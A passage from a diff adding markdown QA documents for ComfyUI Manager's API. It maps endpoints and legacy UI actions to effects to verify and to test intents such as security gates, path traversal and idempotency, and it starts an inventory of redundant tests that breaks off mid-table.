||||
|
||||
### GET /v2/manager/channel_url_list
|
||||
|
||||
Purpose: **return available channels + currently selected**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | `selected` matches channel whose URL == config.channel_url (else "custom"); `list` is all known channels as "name::url" |
|
||||
|
||||
### POST /v2/manager/channel_url_list
|
||||
|
||||
Purpose: **switch active channel by name**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Known name | config.channel_url written with new URL; GET.selected matches new name |
|
||||
| Unknown name | Silent no-op; 200; channel_url UNCHANGED (verify) |
|
||||
| Malformed | 400; channel_url UNCHANGED |
|
||||
|
||||
## 1.5 System
|
||||
|
||||
### GET /v2/manager/is_legacy_manager_ui
|
||||
|
||||
Purpose: **let UI know which Manager UI (legacy vs current) to load**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | `is_legacy_manager_ui` matches the CLI flag `--enable-manager-legacy-ui` that was passed |
|
||||
|
||||
### GET /v2/manager/version
|
||||
|
||||
Purpose: **report the Manager package version**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Text == core.version_str (non-empty, semver-ish) |
|
||||
| Idempotent | Consecutive calls return identical value |
|
||||
|
||||
### POST /v2/manager/reboot
|
||||
|
||||
Purpose: **restart the server process**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) server process actually exits, (b) new process binds same port, (c) new process serves requests, (d) pre-reboot state preserved (version, config) |
|
||||
| CLI session mode | `.reboot` marker file created before exit(0); process-manager restarts |
|
||||
| Security denied | 403; process continues (no restart) |
|
||||
|
||||
### GET /v2/comfyui_manager/comfyui_versions
|
||||
|
||||
Purpose: **enumerate available ComfyUI versions + current**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | `current` is a git tag/hash present in `.git` log; `versions` array non-empty; current ∈ versions |
|
||||
| Git failure | 400; no partial response |
|
||||
|
||||
### POST /v2/comfyui_manager/comfyui_switch_version
|
||||
|
||||
Purpose: **queue a task to switch ComfyUI to a target version (actual switch happens via worker)**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | (a) task queued with `params.target_version=<ver>`, (b) queue/status reflects, (c) eventually `.git` HEAD points at target commit/tag after worker runs |
|
||||
| Missing params | 400; no task queued |
|
||||
| Security denied (<high+) | 403; no task queued |
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Legacy-only Endpoints (UI → effect)
|
||||
|
||||
For these, the functional purpose is triggered by UI interaction. The effect MUST be observable both through the UI (state transitions, renders) AND/OR through the backend (filesystem, queue state).
|
||||
|
||||
### POST /v2/manager/queue/batch (legacy)
|
||||
|
||||
Purpose: **accept one aggregated request to enqueue multiple operations, then start the worker**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| install item(s) | Each pack installed (filesystem effect); `failed` list only contains actually-failed ids |
|
||||
| uninstall item(s) | Each pack removed |
|
||||
| update item(s) | Packs updated (version change verifiable) |
|
||||
| reinstall item(s) | Pack removed then re-installed (dir exists, .tracking present) |
|
||||
| disable | Pack in `.disabled/` |
|
||||
| install_model | Model file downloaded |
|
||||
| fix | Dependencies re-resolved |
|
||||
| update_comfyui | ComfyUI update task queued |
|
||||
| update_all | All active pack updates queued |
|
||||
| Mixed kinds | Each kind's effect achieved; `failed` contains only real failures |
|
||||
|
||||
### GET /v2/customnode/getlist (legacy)
|
||||
|
||||
Purpose: **feed the Custom Nodes Manager dialog with the list of available + installed packs**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Response has `channel` + `node_packs`; each pack includes install state (installed/disabled), stars (github-stats), update availability (if skip_update=false) |
|
||||
| skip_update=true | No git fetch performed (check timing / no remote calls) |
|
||||
| Channel resolution | Maps URL back to name (default/custom/etc.) |
|
||||
|
||||
### GET /customnode/alternatives (legacy)
|
||||
|
||||
Purpose: **show alternative pack recommendations for a given pack**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Response dict keyed by unified pack id; values from `alter-list.json` with markdown processed |
|
||||
|
||||
### GET /v2/externalmodel/getlist (legacy)
|
||||
|
||||
Purpose: **list available external models with install state for Model Manager dialog**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Each model entry has `installed` ∈ {'True','False'}; True ⟺ file actually exists under appropriate models subdir |
|
||||
| HuggingFace sentinel | Filename resolved from URL basename; installed flag correct |
|
||||
| Custom save_path | Path resolved correctly |
|
||||
|
||||
### GET /v2/customnode/versions/{node_name} (legacy)
|
||||
|
||||
Purpose: **list all versions of a CNR pack for the user to pick**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Known CNR pack | Response array lists all available versions (latest first, typically) matches CNR registry |
|
||||
| Unknown pack | 400; no partial data |
|
||||
|
||||
### GET /v2/customnode/disabled_versions/{node_name} (legacy)
|
||||
|
||||
Purpose: **list versions of a pack currently in the disabled state for possible re-enable**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Has disabled versions | Response array matches actual `cnr_inactive_nodes[node]` keys + "nightly" if in `nightly_inactive_nodes` |
|
||||
| None disabled | 400 |
|
||||
|
||||
### POST /v2/customnode/install/git_url (legacy)
|
||||
|
||||
Purpose: **clone a pack from arbitrary git URL (dangerous; requires high+)**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Repo cloned into `custom_nodes/`, `.git` dir present, repo remote matches URL |
|
||||
| Already installed | 200 skip; no duplicate; no overwrite |
|
||||
| Clone failure | 400; no partial dir left behind |
|
||||
| Security denied (<high+) | 403; no filesystem change |
|
||||
|
||||
### POST /v2/customnode/install/pip (legacy)
|
||||
|
||||
Purpose: **run `pip install <packages>` in the venv**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| Success | Packages are importable from the venv Python afterwards (or `pip list` shows them) |
|
||||
| Security denied (<high+) | 403; no pip invocation |
|
||||
|
||||
### GET /v2/manager/notice (legacy)
|
||||
|
||||
Purpose: **fetch the News wiki content and augment with version footer**.
|
||||
|
||||
| Scenario | Effect to verify |
|
||||
|---|---|
|
||||
| GitHub reachable | HTML returned; contains markdown-body content + ComfyUI/Manager version footer appended |
|
||||
| GitHub unreachable | "Unable to retrieve Notice"; no crash |
|
||||
| Non-git ComfyUI | Response starts with "Your ComfyUI isn't git repo" warning |
|
||||
| Outdated ComfyUI | Response starts with "too OUTDATED!!!" warning |
|
||||
| Desktop variant | Footer uses `__COMFYUI_DESKTOP_VERSION__` instead of commit hash |
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — UI→effect Mapping (Legacy)
|
||||
|
||||
For Playwright tests, the "UI→effect" contract requires:
|
||||
|
||||
| UI action | Target endpoint | Effect to verify |
|
||||
|---|---|---|
|
||||
| Click Manager menu button | (none — UI only) | `#cm-manager-dialog` visible |
|
||||
| Click "Custom Nodes Manager" menu item | GET customnode/getlist + getmappings | `#cn-manager-dialog` + grid populated (rows > 0) |
|
||||
| Click "Model Manager" menu item | GET externalmodel/getlist | `#cmm-manager-dialog` + grid populated |
|
||||
| Click "Snapshot Manager" menu item | GET snapshot/getlist | `#snapshot-manager-dialog` + list populated |
|
||||
| Click "Install" on a pack row | GET customnode/versions/{id} → POST queue/batch (install) → WebSocket cm-queue-status | Pack dir exists on disk + row shows "Installed" state in UI + WebSocket `all-done` received |
|
||||
| Click "Uninstall" on installed row | POST queue/batch (uninstall) | Pack dir removed + row state updates to "Not Installed" |
|
||||
| Click "Disable" on row | POST queue/batch (disable) | Pack in `.disabled/` + row state "Disabled" |
|
||||
| Click "Update" on outdated row | POST queue/batch (update) | Pack version changes + row state update |
|
||||
| Click "Fix" on row | POST queue/batch (fix) | Dependencies restored |
|
||||
| Click "Try alternatives" | GET /customnode/alternatives | Alternatives list rendered |
|
||||
| Open "Versions" dropdown on row | GET customnode/versions/{id} | Version list rendered in UI |
|
||||
| Open "Disabled Versions" on row | GET customnode/disabled_versions/{id} | Disabled versions rendered |
|
||||
| Click "Install via Git URL" button + enter URL + confirm | POST customnode/install/git_url | Pack cloned; dir visible in UI |
|
||||
| Click "Install via pip" | POST customnode/install/pip | Package installed; no UI crash |
|
||||
| Click "Install" on Model Manager row | POST queue/install_model | Model file downloaded; row state "Installed" |
|
||||
| Change DB mode dropdown | POST db_mode | Config persisted; dropdown value persists after dialog reopen |
|
||||
| Change Update Policy dropdown | POST policy/update | Same |
|
||||
| Change Channel dropdown | POST channel_url_list | Same |
|
||||
| Click "Update All" button | POST queue/update_all | Multiple tasks queued; progress indicator shows count |
|
||||
| Click "Update ComfyUI" button | POST queue/update_comfyui | Task queued; status indicator |
|
||||
| Click "Save Snapshot" in Snapshot Manager | POST snapshot/save | New row in dialog list with timestamp |
|
||||
| Click "Remove" on snapshot row | POST snapshot/remove?target=X | Row disappears from list |
|
||||
| Click "Restore" on snapshot row | POST snapshot/restore?target=X | Marker file created; next reboot applies |
|
||||
| Click "Restart" button | POST manager/reboot | Server restarts; UI reconnects |
|
||||
| Open Manager menu with pending News | GET manager/notice | News panel visible with HTML content |
|
||||
| Filter/search in grid | (client-side) | Row count ≤ initial count |
|
||||
| Close dialog (X button / Esc) | (none) | Dialog hidden; no leaked DOM |
|
||||
|
||||
---
|
||||
|
||||
# Section 4 — Effects Not Easily Observable
|
||||
|
||||
Some purposes can only be proven via side-channel observation:
|
||||
|
||||
| Endpoint | Purpose | Why hard to verify |
|
||||
|---|---|---|
|
||||
| POST snapshot/restore | Apply snapshot at next reboot | Must actually reboot + compare post-state; destructive |
|
||||
| POST switch_version (positive) | Change ComfyUI version | Destructive; needs rollback |
|
||||
| POST manager/reboot | Restart process | Hard to assert "new process" vs "same process" cleanly; proxy: pid change or connection drop+rebind |
|
||||
| POST queue/start → worker runs | Tasks execute | Timing-dependent; must poll done_count |
|
||||
| GET manager/notice | Content from GitHub | External dependency; flaky |
|
||||
| POST install (network) | Actually installs | Depends on CNR/GitHub availability |
|
||||
| POST install_model (download) | File downloaded | Slow; large files; fake whitelist URL returns quick 404 |
|
||||
|
||||
For these, tests either (a) accept destructive as out-of-scope, (b) use timing/polling, or (c) mock at minimum granularity.
|
||||
|
||||
---
|
||||
*End of Scenario × Effect Mapping*
|
||||
@@ -0,0 +1,424 @@
|
||||
# Scenario Intent Mapping
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Definition of "intent"**: For each scenario — **what real use case, user need, or protection concern does this scenario represent?** Answers "why does this scenario matter, what is it there to prove?"
|
||||
|
||||
Intent categories used:
|
||||
- **User capability** — the user wants to accomplish task X
|
||||
- **Data integrity** — the system must not corrupt state
|
||||
- **Security boundary** — privilege / access must be enforced
|
||||
- **Input resilience** — bad input must not crash or mis-operate
|
||||
- **Idempotency** — operation can be retried safely
|
||||
- **Observability** — the caller needs accurate state visibility
|
||||
- **Concurrency safety** — parallel calls don't interfere
|
||||
- **Recovery** — system can recover from failure / bad state
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Glob v2 Endpoints
|
||||
|
||||
## 1.1 Queue Management
|
||||
|
||||
### POST /v2/manager/queue/task (install)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success (CNR) | User capability: install a registered pack at a specific version for reproducibility |
|
||||
| Success (nightly/URL) | User capability: install unreleased or private pack from arbitrary git URL |
|
||||
| Success (skip_post_install + already disabled) | Recovery: re-enable a previously disabled pack without full reinstall (optimization path) |
|
||||
| Validation error (bad kind) | Input resilience: prevent arbitrary op execution via malformed kind; ensure schema gate is the truth |
|
||||
| Validation error (missing ui_id/client_id) | Observability: every queued task must be traceable back to its originator |
|
||||
| Invalid JSON body | Input resilience: malformed bytes don't crash the server |
|
||||
| Worker auto-start | User capability: ease of use — installer doesn't need separate "start" call (legacy path does though) |
|
||||
|
||||
### POST /v2/manager/queue/task (uninstall)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: remove a pack that's no longer needed or causing issues |
|
||||
| Target not installed | Idempotency: uninstall of non-present pack should not fail destructively |
|
||||
|
||||
### POST /v2/manager/queue/task (update)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: upgrade to a newer release to get fixes/features |
|
||||
| Already up-to-date | Idempotency: safe to trigger update even when nothing new exists |
|
||||
| Update fails mid-way | Data integrity: don't leave pack in partially-updated state |
|
||||
|
||||
### POST /v2/manager/queue/task (fix)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Recovery: when dependencies drift or break, re-install them without re-cloning source |
|
||||
| Missing deps pre-fix | Recovery: fix should heal the environment |
|
||||
|
||||
### POST /v2/manager/queue/task (disable)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: temporarily stop using a pack without losing it (reversible) |
|
||||
| Already disabled | Idempotency: re-disable is a no-op |
|
||||
|
||||
### POST /v2/manager/queue/task (enable)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: restore a disabled pack to active use |
|
||||
| Not disabled | Idempotency: no-op when already active |
|
||||
|
||||
### POST /v2/manager/queue/install_model
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: download models from curated whitelist for model library |
|
||||
| Missing client_id/ui_id | Observability: every download is traceable |
|
||||
| Invalid metadata | Input resilience: malformed model requests rejected early |
|
||||
| Not in whitelist | Security boundary: prevent arbitrary URL downloads (supply-chain protection) |
|
||||
| Non-safetensors + lower security | Security boundary: block executable-format model files in lower-trust env |
|
||||
|
||||
### POST /v2/manager/queue/update_all
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: one-click update of all installed packs |
|
||||
| Security denied | Security boundary: bulk ops are more risky; require middle+ trust |
|
||||
| Missing params | Observability: must know who initiated bulk op |
|
||||
| mode=local | User capability: work offline using cached data |
|
||||
| Desktop build | Data integrity: don't self-update comfyui-manager in bundled builds |
|
||||
| Empty active set | Idempotency: safe to run on fresh install with nothing to update |
|
||||
|
||||
### POST /v2/manager/queue/update_comfyui
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: update ComfyUI core itself |
|
||||
| Missing params | Observability: traceability |
|
||||
| stable=true explicit | User capability: override policy for one-off stable update regardless of config |
|
||||
|
||||
### POST /v2/manager/queue/reset
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Recovery: abort an in-progress batch; clear failed state |
|
||||
| Already empty | Idempotency: safe to call repeatedly as cleanup |
|
||||
|
||||
### POST /v2/manager/queue/start
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Worker not running | User capability: explicit trigger for the async worker |
|
||||
| Already running | Concurrency safety: don't spawn duplicate workers (data corruption risk) |
|
||||
| Empty queue | Idempotency: no error on empty queue |
|
||||
|
||||
### GET /v2/manager/queue/status
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| No filter | Observability: dashboard view of overall progress |
|
||||
| client_id filter | Observability: per-client progress for multi-user UI |
|
||||
| Unknown client_id | Input resilience: unknown id returns 0s, not error |
|
||||
|
||||
### GET /v2/manager/queue/history
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| id=<batch_id> | Observability: inspect an old batch for audit/debug |
|
||||
| Path traversal | Security boundary: prevent arbitrary file reads via history endpoint |
|
||||
| ui_id filter | Observability: detailed view for one task |
|
||||
| client_id filter | Observability: per-client history |
|
||||
| Pagination | Performance: avoid huge payload on long histories |
|
||||
| Serialization failure | Input resilience: fail cleanly (400) rather than crash |
|
||||
|
||||
### GET /v2/manager/queue/history_list
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Observability: enumerate past batches |
|
||||
| Empty | Idempotency: no crash on empty history dir |
|
||||
| Path inaccessible | Input resilience: fail cleanly |
|
||||
|
||||
## 1.2 Custom Node Info
|
||||
|
||||
### GET /v2/customnode/getmappings
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success (mode=local/cache/remote) | User capability: UI resolves "missing nodes in workflow" to recommend packs |
|
||||
| mode=nickname | User capability: shorter display names for UI |
|
||||
| Missing mode | Input resilience: require explicit mode choice |
|
||||
|
||||
### GET /v2/customnode/fetch_updates (deprecated)
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Always 410 | API contract: signal clients to migrate to queue-based flow; don't silently break |
|
||||
|
||||
### GET /v2/customnode/installed
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| mode=default | Observability: current state for UI |
|
||||
| mode=imported | Observability: startup-time state for diff ("what changed since boot") |
|
||||
| Empty | Idempotency: no crash on empty install |
|
||||
|
||||
### POST /v2/customnode/import_fail_info
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Known failed pack | Recovery: show user exact traceback so they can decide fix vs report vs uninstall |
|
||||
| Unknown pack | Input resilience: 400 rather than empty success (distinguishable) |
|
||||
| Missing fields / non-dict | Input resilience: reject early |
|
||||
|
||||
### POST /v2/customnode/import_fail_info_bulk
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| cnr_ids list | Performance: batch lookup for dialog that shows multiple failed packs at once |
|
||||
| urls list | Same, for git-URL-installed packs |
|
||||
| Empty lists | Input resilience: require at least one query |
|
||||
| Null for unknown | Observability: distinguish "no failure info" from "lookup failed" |
|
||||
|
||||
## 1.3 Snapshots
|
||||
|
||||
### GET /v2/snapshot/get_current
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Observability: inspect system state before taking a snapshot |
|
||||
| Failure | Input resilience: fail cleanly |
|
||||
|
||||
### POST /v2/snapshot/save
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: persist current state for later rollback |
|
||||
| Multiple saves | Observability: each save is independently retrievable |
|
||||
|
||||
### GET /v2/snapshot/getlist
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: choose which snapshot to restore/delete |
|
||||
| Empty | Idempotency: no crash on empty snapshot dir |
|
||||
|
||||
### POST /v2/snapshot/remove
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: housekeeping (remove old snapshots) |
|
||||
| Nonexistent target | Idempotency: re-delete should not error |
|
||||
| Path traversal | Security boundary: prevent deleting files outside snapshot dir |
|
||||
| Missing target | Input resilience |
|
||||
| Security denied | Security boundary: middle security required |
|
||||
|
||||
### POST /v2/snapshot/restore
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Recovery: rollback to a known-good state after bad update |
|
||||
| Nonexistent | Input resilience |
|
||||
| Path traversal | Security boundary |
|
||||
| Security denied | Security boundary: middle+ required (restore is destructive) |
|
||||
|
||||
## 1.4 Configuration
|
||||
|
||||
### GET /v2/manager/db_mode
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Observability: UI shows current mode setting |
|
||||
|
||||
### POST /v2/manager/db_mode
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Valid | User capability: switch between online/local DB for different network conditions |
|
||||
| Malformed | Input resilience |
|
||||
| Missing value | Input resilience: don't silently set unknown/empty |
|
||||
|
||||
### GET/POST /v2/manager/policy/update
|
||||
|
||||
Same as db_mode: observability of current policy + user choice to change update strategy (stable vs nightly) + input resilience.
|
||||
|
||||
### GET /v2/manager/channel_url_list
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Observability: show available channels in UI dropdown |
|
||||
| "custom" selected | Input resilience: URL not in known list doesn't break display |
|
||||
|
||||
### POST /v2/manager/channel_url_list
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Known name | User capability: switch between upstream vs fork vs private channel |
|
||||
| Unknown name | Input resilience: silent no-op (don't crash on typo) |
|
||||
| Malformed | Input resilience |
|
||||
|
||||
## 1.5 System
|
||||
|
||||
### GET /v2/manager/is_legacy_manager_ui
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: frontend picks which UI variant to mount at page load |
|
||||
|
||||
### GET /v2/manager/version
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | Observability: display version in UI (troubleshooting / support) |
|
||||
| Idempotent | Data integrity: version doesn't change at runtime |
|
||||
|
||||
### POST /v2/manager/reboot
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: apply changes that require restart (snapshot restore, ComfyUI version switch) |
|
||||
| CLI session mode | Integration: cooperates with external process manager for clean restart |
|
||||
| Security denied | Security boundary: middle required (restart affects all users) |
|
||||
|
||||
### GET /v2/comfyui_manager/comfyui_versions
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: enumerate ComfyUI versions to pick one for rollback/upgrade |
|
||||
| Git failure | Input resilience: fail cleanly if ComfyUI isn't a git repo |
|
||||
|
||||
### POST /v2/comfyui_manager/comfyui_switch_version
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: switch ComfyUI to specific version (pin for reproducibility) |
|
||||
| Missing params | Observability |
|
||||
| Security denied | Security boundary: high+ required (massive blast radius — affects core behavior) |
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Legacy-only Endpoints
|
||||
|
||||
### POST /v2/manager/queue/batch
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Single-kind batch | User capability: execute multiple operations of same type in one round-trip |
|
||||
| Mixed-kind batch | User capability: apply a workflow (uninstall-then-install = reinstall) atomically |
|
||||
| Partial failure (`failed` list) | Observability: distinguish which packs in the batch failed from ones that succeeded |
|
||||
| Empty body | Idempotency: no-op if nothing to do |
|
||||
| update_all sub-key | User capability: trigger bulk update as part of batch |
|
||||
|
||||
### GET /v2/customnode/getlist
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: populate Custom Nodes Manager dialog with full available pack catalog |
|
||||
| skip_update=true | Performance: fast load when user doesn't need remote fetch |
|
||||
| Channel resolution | Observability: user sees which channel data came from |
|
||||
|
||||
### GET /customnode/alternatives
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: recommend alternative packs when one is discontinued/unavailable |
|
||||
|
||||
### GET /v2/externalmodel/getlist
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: browse curated model catalog |
|
||||
| `installed` flag per model | Observability: which models already present |
|
||||
| HuggingFace sentinel | User capability: HF-hosted models via standard URL |
|
||||
| Custom save_path | User capability: custom model placement |
|
||||
|
||||
### GET /v2/customnode/versions/{node_name}
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Known CNR | User capability: pick a specific version to install (stability over latest) |
|
||||
| Unknown pack | Input resilience |
|
||||
|
||||
### GET /v2/customnode/disabled_versions/{node_name}
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Has disabled | User capability: see what versions are available to re-enable without fresh install |
|
||||
| None | Input resilience |
|
||||
|
||||
### POST /v2/customnode/install/git_url
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: install arbitrary git pack (for advanced users / private packs) |
|
||||
| Already installed | Idempotency |
|
||||
| Clone failure | Input resilience: bad URL returns error; no corrupt state |
|
||||
| Security denied | Security boundary: high+ required (arbitrary code execution risk) |
|
||||
|
||||
### POST /v2/customnode/install/pip
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| Success | User capability: install pip packages needed by a pack |
|
||||
| Security denied | Security boundary: high+ required (arbitrary package execution risk) |
|
||||
|
||||
### GET /v2/manager/notice
|
||||
|
||||
| Scenario | Intent |
|
||||
|---|---|
|
||||
| GitHub reachable | User capability: see latest Manager news/changelog inline |
|
||||
| GitHub unreachable | Input resilience: don't block UI on external service failure |
|
||||
| Non-git ComfyUI | Observability: warn user that their install is non-standard |
|
||||
| Outdated ComfyUI | Observability: warn user they're too old to be safe |
|
||||
| Desktop variant | User capability: correct footer for desktop distribution |
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Cross-cutting Scenarios
|
||||
|
||||
Some scenarios recur across many endpoints with consistent intent:
|
||||
|
||||
| Scenario pattern | Applies to | Unified intent |
|
||||
|---|---|---|
|
||||
| Malformed JSON body | all POST endpoints accepting JSON | Input resilience — protect against corrupted bytes / wrong content-type |
|
||||
| Missing required field | all POST endpoints with schemas | Input resilience + Observability (traceability fields mandatory) |
|
||||
| Path traversal in target/id | snapshot/remove, snapshot/restore, queue/history | Security boundary — prevent arbitrary filesystem access |
|
||||
| Security level denial (middle/middle+/high+) | destructive endpoints | Security boundary — tier privileged ops per deployment risk profile |
|
||||
| Idempotent re-call on empty state | queue/reset, history_list, snapshot/getlist, installed | Idempotency — safe to poll or retry |
|
||||
| Repeated read returns same value | version, db_mode, policy/update | Data integrity — config/runtime state is stable |
|
||||
| Empty collection returned cleanly | history, getlist, installed, alternatives | Input resilience — empty is valid, not an error |
|
||||
|
||||
---
|
||||
|
||||
# Section 4 — Intent Coverage Summary
|
||||
|
||||
| Intent category | # scenarios | Notes |
|
||||
|---|---:|---|
|
||||
| User capability (positive user need) | 62 | The "happy paths" |
|
||||
| Input resilience | 32 | Mostly 400s for bad input |
|
||||
| Security boundary | 15 | Security levels + path traversal |
|
||||
| Idempotency | 14 | No-op / retry safety |
|
||||
| Observability | 16 | State visibility + traceability |
|
||||
| Data integrity | 8 | Config/state stability |
|
||||
| Recovery | 5 | Fix, restore, reset |
|
||||
| Concurrency safety | 2 | Worker dedup |
|
||||
|
||||
Total unique scenarios mapped: ~154 (matches Report A).
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — Why This Mapping Matters
|
||||
|
||||
For each scenario, the **intent** drives the TEST design:
|
||||
- **User capability** scenarios need end-to-end effect verification (feature works as promised)
|
||||
- **Input resilience** scenarios need negative tests (bad inputs rejected cleanly)
|
||||
- **Security boundary** scenarios need permission gate tests (403 proven per security level)
|
||||
- **Idempotency** scenarios need repeat-call tests (no state drift)
|
||||
- **Observability** scenarios need response-correctness tests (UI can trust the data)
|
||||
- **Data integrity** scenarios need consistency tests (no runtime mutation of constants)
|
||||
- **Recovery** scenarios need fault-injection tests (broken state → fix heals it)
|
||||
- **Concurrency safety** scenarios need parallel-call tests (no duplicate workers/tasks)
|
||||
|
||||
Gaps in current E2E suite are best understood by intent: missing tests are typically for **security boundary** (403 gates), **input resilience edge cases** (path traversal, missing value keys), and **recovery** (fix/restore). These are the hardest to reach in simple E2E but matter most for production safety.
|
||||
|
||||
---
|
||||
*End of Scenario Intent Mapping*
|
||||
@@ -0,0 +1,177 @@
|
||||
# Test Bloat Inventory — Sweep Aggregate
|
||||
|
||||
**Generated**: 2026-04-20 (via `/pair-sweep test bloat identification`)
|
||||
**Scope**: 127 test functions across 21 files (14 pytest E2E + 7 Playwright specs)
|
||||
**Method**: Static analysis by 4-member team (4 chunks, 127 items, `cl-20260419-bloat-{teng,review,dev,dbg}`)
|
||||
**References**: `goal-report-bloat-sweep.md` (10 bloat code definitions B1-BA)
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
| Metric | Count | Rate |
|
||||
|---|---:|---:|
|
||||
| Total analyzed | **127** | 100% |
|
||||
| ✅ CLEAN | **94** | 74.0% |
|
||||
| ⚠️ BLOAT | **33** | 26.0% |
|
||||
| 🔴 Immediate remove/merge | **16** | 12.6% |
|
||||
| 🟡 Refactor / consolidate | **~10** | 7.9% |
|
||||
| 🟢 Borderline (retained with note) | **~7** | 5.5% |
|
||||
|
||||
**Post-action projection**: 127 → ~115 tests (−12 via remove/merge) with zero coverage loss. Bloat rate drops from 26% to ≤5%.
|
||||
|
||||
---
|
||||
|
||||
## Chunk Distribution
|
||||
|
||||
| Chunk | Member | Total | CLEAN | BLOAT | Top codes |
|
||||
|---|---|---:|---:|---:|---|
|
||||
| A (csrf/secgate/version) | dbg | 19 | 17 | 2 | B7, B9 |
|
||||
| B (endpoint/customnode/snapshot/git_clone) | reviewer | 29 | 23 | 6 | B1 (×4), B1/B5 (×1), B7 (×1) |
|
||||
| C (config_api/queue/task_ops/system) | teng | 45 | 30 | 15 | B1 (×5), B9 (×9), B8 (×1) |
|
||||
| D (uv_compile + Playwright) | dev | 34 | 24 | 10 | B9 (×5), B5 (×2), B1, B4+B5+BA, B8 |
|
||||
| **TOTAL** | — | **127** | **94** | **33** | B9 (primary) |
|
||||
|
||||
**Top bloat code**: **B9 Copy-paste** (14 occurrences across chunks) — largely from copy-paste test skeletons that can be parametrized.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 Priority 1 — Immediate Remove (1 item)
|
||||
|
||||
| ID | File | Function | Reason | Verdict |
|
||||
|---|---|---|---|---|
|
||||
| dev:ci-013 | debug-install-flow.spec.ts | `capture install button API flow` | Zero `expect()` calls, only `console.log`. Diagnostic script committed as test — cannot fail. | B4+B5+BA |
|
||||
|
||||
**Action**: Delete the entire spec file OR move to `tools/` directory.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 Priority 2 — Remove (subsumed by other tests) — 7 items
|
||||
|
||||
| ID | File | Function | Subsumed by | Code |
|
||||
|---|---|---|---|---|
|
||||
